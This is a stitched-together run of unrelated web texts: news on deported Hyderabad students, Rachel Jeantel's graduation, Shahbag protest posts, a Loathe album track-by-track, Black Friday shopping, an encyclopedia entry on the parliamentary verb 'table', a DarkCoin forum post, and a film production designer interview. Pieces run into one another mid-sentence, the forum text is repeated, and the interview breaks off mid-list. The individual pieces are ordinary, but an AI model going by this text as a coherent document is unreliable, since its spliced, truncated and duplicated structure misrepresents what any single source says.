As a pro, Randy has been showing progress, including hitting the game-winning shot as time expired against the Chicago Bulls last night. But if things ever go bad and the coaches question if his heart is really in the right spot, I guess he’ll have a great reply!HYDERABAD: Fearing deportation by authorities in the United States of America, many students from the city, studying there have given up their part time jobs over the last three weeks, students and officials said.The flow of students deported from various airports in the US to Hyderabad continued on Sunday too, with 10 more dejected students landing here. The students landed at the Shamshabad airport around 11 am, taking the count to 25 on Saturday and Sunday. Immigration department authorities hinted at more deported students expected to reach here through Sunday night.Apart from deported students who landed back in the city, panic has spread even among others, who are staying there.The ones who were not lucky enough to keep their US dreams alive, by heading to 'controversial' universities, share stories of how intense combing on all part time illegal jobs in places like gas stations, supermarkets and eateries have prompted many of their friends to give up on the $ 5- 6 per hour jobs that many survive on.The panic is widespread among the ones who have given up the jobs as authorities continue to deport those who are planning to go there, fearing a co-relation between the police crackdown there and the large number of deportation cases.Students meanwhile have started carrying semester fees, university letter, financial details as well as other documents to avoid being deported, said Sandeep Sagar, who returned on Saturday. He was not able to make it through the immigration counters in the USA. "Some students who were already in the US have been deported as well. A few have landed here in the last one week," confirmed a source at the airport."After reaching Hyderabad airport, I met a student who was already in USA and was deported for working there. He was working there at an eatery and had intended to leave his job fearing deportation but was caught on the last day of his job. The authorities checked with the eatery after he left and went back to the university to question his eligibility to work," said Srikanth P, a student who landed here a few days back.Incidentally it is after the recent Paris attack, that US authorities have become more stringent when it comes to the student community and have narrowed down on all US universities. Many students from the state head to the US for doing MS or MBA courses. In some universities, they are required to attend classes only once a week, others allow students to work for three to four hours from day one (mostly blacklisted ones)."Most universities allow the students to work legally once they are on a curricular practical training (CPT) or optional practical training (OPT) programmes. And in these cases, they are not deported. Students are being scrutinized heavily now. Authorities are even going back to universities and checking on student attendance, checking with local part time jobs and deporting students now. As there are ample part time jobs, most students take up jobs on landing there. Shocked by the recent deportations, many students have already left jobs," said P. Anil Kumar, Director Youthworld Consulting.MIAMI, May 30 (UPI) -- The teenage girl who was talking to Trayvon Martin on the phone when he was shot to death in 2012 graduated high school Friday, keeping a promise she made to the slain teen about finishing school.
Rachel Jeantel graduated from high school at a Miami auditorium despite her difficulties with English being showcased in the very public trial of George Zimmerman, the man who says he shot Martin in self defense, Yahoo News reported.
The daughter of immigrant parents, Jeantel speaks Haitian Creole, English and Spanish, but her dialect and use of slang were ridiculed during her testimony as a key witness in Martin's death.
At one point during the trial, defense attorney Don West questioned whether Jeantel, then 19, understood English.
"I don't understand you. I do understand English," Jeantel said.
Though she was a senior in high school, Jeantel had an elementary-level understanding of reading and math, so Miami defense and civil rights attorney Rod Vereen arranged for tutors for the young woman.
"I did it," Jeantel said of her accomplishment. "The witness who didn't know how to speak English knows how to speak English through the 12th grade now. I never quit."
Even Martin's mother, Sybrina Fulton, was at the graduation ceremony, cheering on her son's friend.
"Her coming is like having Trayvon there saying, 'You did it. You proved people wrong,' " Jeantel said.Drop by drop, the Shahbag intersection in Bangladesh's capital city Dhaka has become an ocean of people, demanding justice for atrocities committed during the country's 1971 liberation war and death penalty for war criminals.
According to some estimates as many as 500,000 people are at Shahbag.
Ten days ago, the Bloggers and Online Activists Network (BOAN) called for protests after the Secretary General of Bangladesh's Islamist party Jamaat-e-Islami Abdul Quader Mollah was found guilty of war crimes committed during 1971. He was sentenced to life in prison on 344 counts of murder, rape and arson by the International Crimes Tribunal on 5 February 2013.
Since Bangladesh's law allows death by hanging for heinous crimes, most people expected Quader Mollah to be taken to the gallows. When he wasn't they took to the streets and to Facebook.
Popular poet and a professor of Jahangirnagar University Khaled Hossain hopes for success of the Shahbag movement. He writes on his Facebook wall:
লোভ থেকে বা লাভের আশা থেকে উত্থিত নয় এ অভিনব চৈতন্যের জোয়ার। সমবায়ী শুভচেতনার এ এক অভাবিতপূর্ব নান্দনিক বিস্ফোরণ। বিজয় ছাড়া আমাদের আর কোনো প্রাপ্য নেই।
This awakening is not from greed or material profit. This is an aesthetic outcome of collective positive thoughts. We have nothing to gain except victory.
Blogger, writer and teacher Moom Rahaman calls everyone to join in at the Shahbag intersection:
যে সব তরুণ সুস্থ আছেন, দেশে আছেন, অথচ এখনো শাহবাগে জাননি, তাদেরকে জানাচ্ছি আপনারা ইতিহাস থেকে দূরে আছেন, বর্তমান থেকে দূরে আছেন, ভবিষ্যত থেকে দূরে আছেন। এখনো সময় আছে, আমাদের পাশে এসে দাঁড়ান। এখন যৌবন যার, শাহবাগ যাবার তার শ্রেষ্ঠ সময়।
Those youth who are in the city and have not managed to come to Shahbag, please know that you are far away from history, away from the present and future. Still you have time to come besides us. Those who are young, this is the right time to go to Shahbag.
Tausif Hamim is a youth who is staying overnight to show solidarity to the protests. Vaskar Abedin shares Hamim's status:
নিয়ম করে তিন বেলা শাহবাগ যাই, স্লোগান দেই, ক্লান্ত হয়ে গেলে নখ দিয়ে চুলের খুশকি খুটি, আশে পাশে তাকাই, মুগ্ধ হয়ে দেখি ল্যাম্প পোস্টগুলো এক একটি ফাঁসি কাষ্ঠ, সেই কাষ্ঠে ঝুলছে কাদের মোল্লার প্রতিকৃতি, স্লোগান দেয়া আপুটার সাথে নতুন করে বর্নমালা শিখি- “স” তে সাকা চৌধুরী, তুই রাজাকার, “গ” তে গোলাম আজম, তুই রাজকার। ক্ষুধা পেলে বাসায় আসি, ভাত খাই, তারপর আবার শাহবাগ যাই, বিকাল গড়িয়ে সন্ধ্যা নামে, ফাঁসির স্লোগান তীব্র হয়, সন্ধ্যা নামলে মিছিলের উপরে মশাল জ্বলে সেই মশালের আলোতে পাপমুক্তির গন্ধ থাকে, এখানে সেখানে উল্টে পড়া মশালগুলো তুলে নিয়ে আমি এক জায়গায় জড়ো করি, পরে থাকা কেরোসিনের উপর ছড়িয়ে দেই খবরের কাগজ, আবার ক্লান্ত হই, ১০ টাকার বাদাম খাই, মোমবাতির আগুনে পোড়াই বাদামের খোসাগুলো।…
I go to Shahbag three times aday, shout slogans, when I am tired, I scratch my head, look around, see with wonder that the lamp posts have become hanging posts. Quader Mollah's effigy is hanging in that post. I learn new words – S for Saka Chowdhury, You are Razakar, G for Golam Azam, You are Razakar. When I am hungry, I come back home, eat my lunch and go back to Shahbag. The evening rolls in, the slogans get intense, as it becomes dark the burning torches smells like retribution, I collect all the used torches, put paper on the spilled kerosene, become more tired, eat peanuts and burn the peanut shells with burning candles.
A number of private TV channels are broadcasting these ongoing protests. Because of these broadcasts, Lucky Akter, a leading protester has become popular for her fiery slogans. British-Bangladeshi Morshed Akhter writes:
আজ থেকে ‘লাকী আখতার’ নামের মেয়েটি আমার বোন। আর এভাবেই ‘লাকী’-রা আমাদের বোন হয়ে যায়, হয়ে যায় ‘আত্মার আত্মীয়'। অফুরান ভালবাসা তোমাদের জন্য।
From today Lucky Akter is my sister. And in this way Lucky Akters become our sisters, “next to kin”. Lot of love for you.
Shimul Bashar, a reporter of a private TV channel has hopes for the #Shahbag protests:
আমি আবার বলছি, শাহবাগের এইসব দিন ইতিহাস হবে। জীবনে এর চেয়ে বড় পাওয়া আমার নেই। মা, আমার চোখে ঘুম আসেনা। আমি শাহবাগের কথা ভাবি। আমার তার মুখ মনে পড়ে।
I reiterate that these days of Shahbag will be part of history. I do not have anything greater than this in my life. Mama, i can't sleep. I keep thinking about Shahbag. I remember the faces.
Many people across the board have supported the cause but Nobel Laureate Dr. Muhammad Yunus is keeping mum so far. Azad Master noticed this:
নন নোবেল বিজয়ী জাফর ইকবাল স্যার আমাগো সাথে তার সহধর্মিণীকে নিয়ে এসে মঞ্চে উঠে তুই রাজাকার বলে স্লোগান দিতে পারেন । কিন্তু নোবেল বিজয়ী ডক্টর ইউণূস সাব রামুর মতো এইবারও মৌন ব্রত পালন করছেন।
Non-Nobel Dr. Zafar Iqbal has came to the podium with his wife to shout slogans. But Nobel Laureate Dr. Yunus is keeping mum this time also.
Saikat Shuvro Aic questions Bangladesh Nationalist Party's (the largest opposition party) – position on the ongoing protests:
হায় বিএনপি! না আছে গলায় কোনও আওয়াজ, না আছে চোখে কোনও জ্যোতি! ইয়া মাবুদ এলাহী, দলটারে তুমি রক্ষা কর..
Oh BNP! The do not have voice, or foresight! Oh God, please save this party.
Many think that the protests are government supported. Others think that this shows a failure of the government. But Bijoy Mazumdar does not agree:
রাজনীতির জনতাকে ভুল বুঝবার কোন অবকাশ নেই।
জনতার রাজনীতি মানুষের জন্য। জনতার রাজনীতি অন্যায়, নির্যাতন, শোষণের বিরুদ্ধে। জনতার রাজনীতি ক্ষমতার জন্য নয়, ক্ষমতাকে দুর্নীতিমুক্ত করার জন্য। শাহবাগে যার অন্দোলন করছে, তাদের আন্দোলন কোন দলকে শক্তিশালী করার জন্য করছে না, তাদের এই আন্দোলন ন্যায় প্রতিষ্ঠার আন্দোলন। এই আন্দোলন বাংলাদেশের তরুণ প্রজন্মের চৈতন্যের ফসল। [..] কারো কাছে মনে হচ্ছে এই অন্দোলন, শাসক দলের নানাবিধ ব্যর্থতাকে আড়াল করার অপচেষ্টা। আমার কাছে এর একটা ভিন্ন উত্তর আছে। এখন থেকে ৪২ বছর আগের অপরাধের শাস্তি দাবী করেছে যে জনতা, সে জনতাই আরেকদিন দেশের সম্পদ লুটপাটের জন্য যারা দায়ী তাদের শাস্তি দাবীতে সোচ্চার হয়ে উঠবে। এ জনতাই সেই জনতা যারা ১৯৭১-এ উত্তাল হয়ে উঠেছিল, স্বাধীনতাকে ছিনিয়ে এনেছিল, ২০১৩-এ সেই জনতাই আবার সোচ্চার হয়ে উঠেছে, আরেকটি অর্জনের জন্য।
In politics, there is no scope to misunderstand what people want. The people politics is for the people. The peoples’ politics is against injustice, repression and oppression. The peoples’ politics is not for power, to free the power from corruption. Those who are protesting in Shahbag, they are not doing it to empower any party. Their fight is to establish justice. This protest in the awakening of the younger generation [..] Some are thinking that this protest is a ploy of the ruling party to hide their failures in different areas. I have a different answer. Those who are uniting and asking justice for a 42 year old crime, one day the same crowd will be vocal against those who are doing rampant corruption. This is the same crowd that become vocal in 1971 and clinched our freedom. In 2013 the same crowd has erupted, with a different purpose, for justice.
Every day songs, poems and skits are being created. Leading singer and member of the Parliament of West Bengal, India, Kabir Suman has extended his support to the #Shahbag protests by creating songs such as the “demands of the mass” and the “whole night in Shahbag.”
Every day, new Facebook accounts are being opened for and against the movement. Those for the protests include Shahbag Movement and Projonmo Square and those against are Voice of Nationalist and Bamboo Castle.
The protesters have vowed to keep Shahbag occupied till their demands are met.Last year, enigmatic outfit Loathe were the first band to put out a release via the SharpTone Records imprint with the re-issue of their debut EP, ‘Prepare Consume Proceed’, which, over the coming months, managed to build an almost cult following for the band nice and early in their careers. Their blend of crushing metal verging at times into djent territory with the odd subtle sprinkling of electronics and some ambiguous dark concepts proved to be a winning formula.
Now back with a full-length in their arsenal, not only have the band built on their sound and in turn their rapidly growing fanbase, but they’ve also built on the concept surrounding the material. ‘The Cold Sun’, in brief, is based around a post-apocalyptic tale conceived by the band. The record follows the adjacent timeline of two protagonists (A & B), who exist during a dystopian future, stricken by tragedy and the ever looming apocalypse.
Despite keeping things very much up to interpretation bar the bare bones and complete basics of the concepts they deliver and work with in their music, the band have given us said ideas on a track-by-track order from ‘The Cold Sun’.
For some references to the work from their aforementioned ‘Prepare Consume Proceed’ EP, you can also read the track-by-track the band provided us of that (here).
01.) THE COLD SUN
‘The Cold Sun’ acts as a singularity event for the universe the concept revolves around.
02.) IT’S YOURS
‘It’s Yours’ follows the theme of a narcissistic killer giving into temptation, whose actions eventually lead him to a self-inflicted demise at the hands of character A. This song also acts as a continuation from ‘Rest; In Violence’.
03.) DANCE ON MY SKIN
‘Dance On My Skin’ refers to the song ‘Banshee’ and delivers a similar theme. Character A experiences an event of sleep paralysis which includes a premonition uttering the words “The world is dust and so are you” in repetition. This causes character A to fall into a deep trance.
04.) EAST OF EDEN
An introduction to character B, ‘East of Eden’ follows B’s rise to power within an outcast community banished by the human race for their asymmetry.
05.) LOATHE
‘Loathe’ takes place within a climactic occurrence of conflict between the outcasts and the humans. Its theme revolves around unity and overcoming malicious transgressions.
06.) 3990
‘3990’ is a visualisation of the void that character A is travelling through during their inactivity.
07.) STIGMATA
‘Stigmata’ reveals that character B is following the order of a higher power, whilst also developing their own agenda through the fruition of temptation.
08.) P.U.R.P.L.E.
Thematically similar to ‘It’s Yours’, ‘P.U.R.P.L.E.’ also follows temptation as character B develops similar tendencies to the killer introduced in ‘Prepare Consume Proceed’.
09.) THE OMISSION
Character A encounters the higher power within a rift in his trance-like state. The being speaks in many tongues “Feast your eyes, absolve all ties, dissolve all lies. Pure sacrifice, all left behind. Lingering light, dissolving with life.”
10.) NOTHING MORE
The battle eventually comes to a close with the outcasts suffering defeat, which infuriates the higher power.
11.) NEVER MORE
Trapped within the being’s anger, character A is forced through spaghettification as they are transported back to reality.
12.) BABYLON…
Overseeing the remnants of a world torn apart by difference, character A pleads to a grey sky, directing his despair to the higher power.
‘The Cold Sun’ is available now through SharpTone Records.
You can pre-order it online now via the band’s website (here), iTunes (here), Amazon (here), and Google Play (here).
Keep up-to-date with the band and what they’re up to via Facebook (here), Twitter (here), and Instagram (here).Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 24, 2017, 12:41 PM GMT / Updated Nov. 24, 2017, 12:41 PM GMT By Reuters
Shoppers had spent more than $1.52 billion online by Thanksgiving evening, and more bargain hunters turned up at stores this year as retailers opened their doors early on the eve of Black Friday.
At the start of the holiday season, consumer spending rose 16.8 percent over the year before until 5 p.m. ET on Thursday, according to Adobe Analytics, which tracked 80 percent of online transactions at the top 100 U.S. retailers.
Surging online sales and a shift away from store shopping have thinned the crowds typically seen at stores on Thanksgiving evening and the day after, known as Black Friday, for the past two years. But a strong labor market, rising home prices and stock markets at record highs have improved shopper appetite this year.
Crowds at stores in many locations around the country were reported to be strong, according to analysts and retail consultants monitoring shopper traffic across the U.S.
“The turnout is clearly better than the last couple of years,” said Craig Johnson, president of Customer Growth Partners. “The parking lots are full and the outlet malls are busy.”
Moody’s retail analyst Charlie O’ Shea, who was in Bucks County, Pennsylvania, reported healthy traffic at local stores, including consumer electronics chain Best Buy, clothing store Old Navy and retailer Kohl’s Corp.
Related: Check out these Black Friday travel deals
“The weather is cooperating and people here are out,” he said.
In Birmingham, Alabama, the Riverchase Galleria mall was shut down early Thanksgiving night after several fights broke out inside, AL.com reported.
Reports of gunfire quickly spread on social media, but local authorities said the reports were not confirmed and no one was shot. Police did receive calls reporting gunfire, but responding officers said they believed the sound was from fireworks, police officials told AL.com.
A witness told local Fox News producer Steffany Means that a baby was hit by a shoe that was tossed over a railing, Means said in a Facebook post. Police made no arrests.
The National Retail Federation is projecting that sales for November and December will rise by 3.6 percent. Non-store sales, which include online sales and those from kiosks, are expected to rise as much as 15 percent, to about $140 billion.
In New Jersey, around 50 people lined up a Macy’s at the Westfield Garden State Plaza mall before it opened and around 200 people stood outside the Best Buy store, many to pick up their online orders.
“Me and my husband have a bigger place and we need a bigger TV for the living room,” said Jenipher Gomes, who bought a 50-inch Samsung TV at Best Buy for $399.99. Shopper Hammad Farooq said he waited at the store for an hour to shop for laptops and monitors.
In Chicago, shoppers appeared to be slightly less enthusiastic to emerge from their turkey slumber and crowds were thin along the city’s popular shopping destination, State Street.
Related: The price slashing began early this year
“There’s a few more people than normal but I wouldn’t call this crowded at all,” Deloitte auditor Eugenia Liew said as she shopped at discount retailer Target. “I expected a lot more people.”
The holiday season, spanning November and December, is crucial for retailers because it can account for as much as 40 percent of annual sales.
The number of customers shopping on their smartphones surged, accounting for 46 percent of the traffic on retail websites, while traffic from desktop and laptop computers declined 11 percent and nearly 6 percent respectively, according to data from Adobe.In parliamentary procedure, the verb to table has the opposite meaning in different countries:
In the United States, to "table" usually means to postpone or suspend consideration of a pending motion.
In the rest of the English-speaking world, to "table" means to begin consideration (or reconsideration) of a proposal.
Motions which use the word "table" have specific meanings and functions, depending on the parliamentary authority used. The meaning of "table" also depends on the context in which it is used.
Difference between American and British usage [ edit ]
Both the American and the British dialects have the expression "to table a topic" as a short way of saying "to lay a topic on the table" and "to make a topic lie on the table", but these have opposite meanings in the different varieties of the languages. The difference is due to how long the topic is thought to stay on the table. The British meaning is based on the idea that the topic is on the table for only a short time and is there for the purpose of being discussed and voted on; the American meaning is based on the idea of leaving the topic on the table indefinitely and thereby disposing of it, i.e. killing its discussion. The phrase "put on the table" can have the same meaning of "making the issue available for debate" in both dialects.[1][2][3] According to the American Heritage Dictionary, on the table in American English always has the two opposite meanings up for discussion and put aside for consideration at a later date depending on the context.[4]
The British meaning of to "table" is to begin consideration of a proposal.[1] This comes from the use of the term to describe physically laying legislation on the table in the British Parliament; once an item on the order paper has been laid on the table, it becomes the current subject for debate.[5]
The American meaning of "to table" is to postpone or suspend consideration of a motion.[1] In American usage, to allow consideration of the topic again, it would have to be "taken from the table". The use of expressions such as "tabling a motion" for setting aside or killing a main motion can cause confusion due to the usage of such expressions in the United Kingdom and Commonwealth countries, where they have the opposite meaning—that is, to propose a motion for consideration.[6][7] To make the intent clear internationally, the Congressional Quarterly and its associated CQ publications usually follow the word "table" (as used in Congress) with the word "kill" in parentheses in reporting congressional votes.[8][9]
Use in the United States [ edit ]
Organizations [ edit ]
Robert's Rules of Order Newly Revised (RONR) [ edit ]
Under Robert's Rules of Order Newly Revised (the book used by most organizations), the subsidiary motion to lay on the table is properly used only when it is necessary to suspend consideration of a main motion in order to deal with another matter that has come up unexpectedly and which must be dealt with before the pending motion can be properly addressed.[10] It has, however, become common to misuse this motion to end consideration of the pending main motion without debate, or to mistakenly assume that its adoption prevents further consideration of the main motion at all, or until a specified time.[11][12] Using "table" as a verb usually indicates misuse of this motion.[13] The book states, "It is preferable to avoid moving 'to table' a motion, or 'that the motion be tabled.'"[13]
A main motion that has been laid on the table may be taken up again by adoption of a motion to take from the table.[14] A motion can be taken from the table at the same session (or meeting) or at the next session (or meeting) if that session occurs within a quarterly time interval.[15] Otherwise, the motion dies.[15]
The use of the motion to lay on the table to kill a motion is improper; instead, a motion to postpone indefinitely should be used.[12] Similarly, it is improper to use the motion to lay on the table to postpone something; a motion to postpone to a certain time should be used in this case.[11] If debate is not desired, a motion to close debate (the previous question) should be used.[12] One of the disadvantages of trying to kill a measure by laying it on the table is that, if some opponents of the measure subsequently leave the meeting, a temporary majority favoring the measure can then take it from the table and act on it; or they may do so at the next session if held within a quarterly time interval.[16]
Although the motion to lay on the table is not debatable, the chair can ask the maker of the motion to state his reason in order to establish the urgency and legitimate intent of the motion or the maker can state it on his own initiative.[17]
The Standard Code of Parliamentary Procedure (TSC) [ edit ]
The Standard Code of Parliamentary Procedure has a motion to table. It can temporarily set aside a main motion (in which case it is also called the motion to postpone temporarily, a motion not in RONR) or it can kill the main motion without a direct vote or further debate.[18] TSC uses the short form, "table", which is discouraged by RONR.[13][18] If the motion to table is used in circumstances suggesting that the |
name DarkCoin Its clear and simple. You cant rebrand now, its too late.
Let me quote a citation i just heard:
It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we had nothing before us, we were all going direct to Heaven, we were all going direct the other way
Good job devs.
Bitcoin.Barcelona - @BTCbarcelona
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Merit: 266
Sr. MemberActivity: 522Merit: 266 Re: [ANN][DRK] DarkCoin | Anonymous (alpha) | KGW | No Premine | ASIC Resistant March 01, 2014, 01:17:52 AM #5453 Quote from: aleix on March 01, 2014, 01:07:15 AM I'm proud to be with you doing this.This coin will be the first of his kind. And it will mean a lot for a lot of people, for good and for bad. All other coins will be following us.
I love the name DarkCoin Its clear and simple. You cant rebrand now, its too late.
Let me quote a citation i just heard:
It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we had nothing before us, we were all going direct to Heaven, we were all going direct the other way
Good job devs.
+1 I like the name as well. Pondering my previous post on the subject and I vote to not rebrand as well. Lets face it: the main'main' stream is nowhere near ready for any coin regardless of name. The critical mass at the moment is in the'slightly' more rebellious quarters anyway. A bit of a 'dark' vibe won't hurt at all IMHO +1 I like the name as well. Pondering my previous post on the subject and I vote to not rebrand as well. Lets face it: the main'main' stream is nowhere near ready for any coin regardless of name. The critical mass at the moment is in the'slightly' more rebellious quarters anyway. A bit of a 'dark' vibe won't hurt at all IMHO Monero - Wir sind die Leute vor denen uns unsere Eltern gewarnt haben!Hi Film Folk!
With the sizzling Straight Outta Compton out in cinemas now, Film Doctor decided to have a chat with the film’s very talented Production Designer – Shane Valentino – about his craft and career!
So Shane, what was your relationship to film growing up and when did you realise it was what you wanted to be a part of?
My parents were always very supportive of all of my creative endeavours. But I was also raised in a very sports-centric family – as long as I followed through on my sports obligations, like I played baseball and soccer, I could still do my fine art activities. I did a lot of drawing and stuff. So, I was getting support from my parents in both activities. I was lucky that way. My parents aren’t creative people, in terms of practice of art or anything.
Through high school, I had a basis in my film education before I went off to college. When I went to college/university, I was studying film as a fine art, so was looking at more non-traditional approaches to filmmaking – like, Paul Sharits and Bruce Conner; one of my mentors was Chick Strand. So, I had a totally different take on filmmaking. I landed my first job – with the Oxygen Network – by chance.
I had a friend who was an Art Director and she needed an assistant, and I wasn’t working, so I just got involved in the project. I had pretty good management skills and I learned how to do the job, as I was doing it – basically, on-the-job training.
After university I went to do a Masters in Filmmaking – I was exposed to the different arts; my education was very broad, in terms of painters, sculptors, photographers and video artists. So it was, sort of like, my education was already pushing me in this direction.
You started out in NYC on shows such as Pure Oxygen and The Isaac Mizrahi Show – and you did say you got that initial work by chance – but how did you proceed (hard work? contacts? luck?) and how did you make the transition to film?
I’d say I got accolades that supported me moving forward. People saw me in positions of a higher-end capacity that I have some sort of management and aesthetic, so that I can move and do things that were required for that department, so I was able to move forward that way.
Also, I was driven to learn more about the profession. I learned how to draw – I learned all computer programmes, to articulate and idea through things like Photoshop or Illustrator. I took the steps myself to learn what is required of an Art Director or Production Designer.
I never saw Oxygen Network as the pinnacle of my work life – it was an opportunity that afforded me the ability to keep working on my skillset.
In our profession, we move from medium to medium. It’s more like you see visual content and what’s required of the Art Director or Production Designer is different for each medium. For example, I do a lot of commercials, as well. What happens is that there are a lot of areas in between jobs that help inform each other. So, like even after the Oxygen Network I did smaller indie films, like “The Motel” and “November”. In the process, you’re learning as you go – what is required at certain budget levels to problem solve in ways that you’re not necessarily asked to do on larger budgeted films.
In my position, I was able to move from TV to film to commercials for financial need and creative need. But the goal was always to do film, because that is where my love is.
For those uninformed, please clarify to us the difference between a Production Designer and an Art Director? What are the day to day tasks of both, in prep and in production?
I think the distinction depends on the budget level. A Production Designer, for the most part, is working with the Director and the DoP, defining what the look of the film is. So, that comes via colour, tone references and how those elements are going to be expressed during the film – is it going to be through a character, specifically in costume? Or is it going to be in the environment, where they are at a particular moment in the scene? etc.
So this is when I’d be working with the Director and the DoP on a day-to-day basis. The Art Director is more of a manager of the art department. They’re sort of looking over the set designer and the construction team, if we’re buildings sets; they’re also overseeing the Graphic Designer, etc. So it’s a different kind of role. But the Art Director is really my right hand person, you know. I lean on them in terms of guiding the whole art department. That’s basically how it works.
In terms of my day-to-day, for example on the film that I’m working now, I’m out looking for locations – it’s going to be a mostly locations-based film – so I’m out with the Location Manager and we’re looking for specific locations for sets that are required in the script.
Then, when I find the locations, I’m also deciding what else we need to add to accentuate the colour or the tone that would help the film in some particular way. For me, it’s mostly about the architecture of the space – for example, if you want something to seem more dramatic, you might want to have a smaller space, to feel like the character is being encroached on or you might want something very large, so it feels like they’re overwhelmed by something. It might be like these subtle psychological elements, but they sometimes help with the narrative.
Because of my background, we were looking at Godard and Resnais and Bertolucci- you see a depth and you know there’s a reason why they chose that particular colour or that particular space. My hope is always to elevate the content to that kind of level. It’s fun for me. There’s a joy for me to try and do that.
Tell us a little about “Beginners” and “House of Lies”…
Well, “Beginners” was exceptional. I think Mike Mills is a fantastic Artist. He came through Graphic Design and it’s always nice to work with people who see cinema in a different way. Those are the Directors I tend to gravitate towards. I like David Lynch; I like some of Julian Schnabel’s work. It’s coming from a different perspective.
I landed “Beginners” because I was Art Directing Sofia Coppola’s film “Somewhere” and the Unit Production Manager on it had recommended me to Michael Mills. Then, because of all the attention that “Beginners” got, what came from that was “House of Lies”.
But “House of Lies” is a TV series, so it’s a whole different kind of approach. When you’re doing television, you work upfront, working on standing sets. Then the rest of the episodes you’re out looking for swing sets or locations. There’s a whole different kind of process. So, I grew as a Production Designer because of that experience.
So what led to “Straight Outta Compton” – how did you get the gig? What were the major challenges?
I think just by another chance. I did an HBO film called “The Normal Heart”, about the start of AIDS in New York City – the time period is like from 1980 to 1984. So, I’d just come off doing that, so I had some experience working on locations – and, also, trying to age them back to a period place.
So that was one thing to my advantage – and the film had just come out when they were looking for a Production Designer. The second thing was that I grew up in Los Angeles and had a fond appreciation of hip-hop at the time – I was right in high school when N.W.A. came out, so I knew their music pretty well. I was very excited about the project.
The third part was that the Line Producer for the film and I had the same agent. So it just made it easier for us to bring all the pieces together. So that was basically how I came to the project and then I interviewed with Gary [F.Gary Gray] and we had a really good conversation. What I try to do when I interview for projects is I put together a presentation of ideas and I had some ideas, and I think he responded to them – and that sort of pushed me over to get the job.
Sometimes you get projects that are just jobs but because I had a personal connection to the material – in terms of my own personal history and my growth as a person – it was like “Yeah, of course I’d do it!” [laughs] “Yeah, I want to go for it!”
But it was a very hard project to do. We had 130 sets which is a lot of sets to try and deal with. The problem that I face a designer is that the period for the film is from 1986 to 1995/6, so it is a period film but in people’s minds – because it feels so recent – they forget that things have changed so much. So, the amount of time I had to prep to deal with those issues was not enough, in my mind.
And you had 5 different perspectives of what this film should be: Gary’s, as the Director, Universal’s, as the studio, you have Dre, you have Ice Cube, and Tomica Woods, Eazy-E’s widow, who also has a perspective. So everybody has their own perspective and what they want you to emphasize in that story. So…it was a challenge.
One thing that was exciting about this project is that a lot of people who were coming to it grew up in Los Angeles or were like my age – and that was an important time in our personal lives. For a lot of people on the crew this was important for them; they were excited to be part of the project. So that energy is infectious.
It was nice to be part of a project with a lot of love and support behind it.
How closely did you work with video/photo source material and how close were you trying to get to it?
Well, you want it to be period accurate, but then you also need to embellish enough, so that it feels a little modern and fresh. So that’s what we did in a lot of the stage performance stuff.
We looked at the original source material but then I embellished it more, just to sort of work with people’s ideas of what stage performances are currently. We used LED lights, we used banners, etc., stuff that they did have, but we just popped it out a bit more. So that sort of helps make a film a bit more modern.
On top of it, while we were filming, the events in Ferguson, Missouri took place – so everything that we were shooting felt very real. Especially about the African-American community relationship with the police department. It all felt very timely.
We wanted to show the evolution of N.W.A.’s stage performances. Like there was a club where they would perform, when Dre was working with Alonzo Williams, and that’s where Cube performed his lyrics for the first time. So we wanted to show the evolution, so that when you went to the stadium performance, like in Detroit, you could see where they had started – on these smaller stages – and built up to larger arenas.
And also to show that they were having fun: they’re not just political activists, they’re also young guys in a band, having fun.
How much of it was in the studio?
None. When you see the recording sessions, we were in Conway Studios, which is a famous recordings studio in Los Angeles. We took four different recording booths and made it look like different recording studios. So Conway almost became like a stage for us – we made it look like different places, but we were never really on a proper stage, it was all on location.
We call it location augmentation, that’s our term.
It looks like you had some pretty insane scenes to deal with – large graffitied streets, lots of smashing and SFX (or VFX), pool parties, huge gigs- what’s the secret to getting through such large scale scenes?
Well, like with anything, it’s just planning. I was fortunate enough to have an exceptional art department and we were able to sort of map out a lot of those sets and scenes with the other departments.
If the scenes were VFX heavy or SFX heavy, we were able to communicate between department heads. I think that’s the most important thing on film, in general – how well you work as departments. It would’ve never happened otherwise.
Like I said, 130 sets is a lot and you need to have incredible communication between departments, to get through that kind of thing. Especially when it’s location driven. If you’re on stage, it’s a lot easier because you’re grounded in one place, but we were moving constantly.
You have to problem-solve constantly: even if you go in with one idea to do something, it can change completely. You can say “We don’t want to shoot this way, we want to turn the camera another way”, so that when you do involve VFX or SFX, they have to adapt to what we’re seeing more of.
You have worked with some major directors, including Christopher Nolan, F Gary Gray, Sofia Coppola – is there one singular trait you feel they all share? And some interesting differences?
Oh my god, they’re all so different! [laughs] I mean, the unifying quality or characteristic that they have is that they have a clear vision of what they want.
What differentiates them all is how they communicate that particular vision. And that’s what is so interesting for me, as a Production Designer – every project I go into, I have to learn a new process. Or, potentially, a new way of communicating. You know, get in sync with those people.
So, it’s like we know we’re going to get our job done, but it’s an adventure trying to figure out how to get it done. That’s what makes it interesting to work with directors of that caliber.
For those on the outside toying with the idea of Production Design what facts can you tell them that they should be aware of before taking the leap?
Well, the most important part is to know your architecture. As a Production Designer you need to know standard dimensions of doors and openings, but I think it is also knowing the terminology that helps you communicate with the people that help you build it.
It’s like with music. If you know the basic chord then you know how to change it or move away from it. So I think that’s important for people interested in Production Design – know your architecture. Know who are the famous architects of the past two centuries, or even before that, so you just know and can identify certain styles and forms.
So that will also help you creatively, when you want to create something that has never been seen before. Or, also, help you articulate the idea to your own Director. For example, you can reference to a certain style; you can give them a reference point and say “I’m going to push it past that, in terms of how it’s supposed to look”. Just, study those things.
What one piece of advice can you offer to an aspiring writer, director or producer?
I think the most important thing that I’ve noticed is that you need to find good collaborators. There are certain things that you do on your own. As a Writer, you sit alone and write, but when it comes to the next steps it is always good to find collaborators who understand your particular vision or your particular way of working.
I think that’s the key – to find those people that can help you bring out the qualities that you don’t think you have or that you don’t think you can do, because, there are always aspects of filmmaking where you need help to get there.
That’s why, specifically with Writers and Directors, I think they need to find really good Producing partners, because I think that would actually help with the development of the projects and, also, just the development of their vision of what they want their project to be.
What are 5 films you recommend that every filmmaker should watch and 5 films for Production Designers?
For Production Designers:
1. The Red Desert / Michaengelo Antonioni
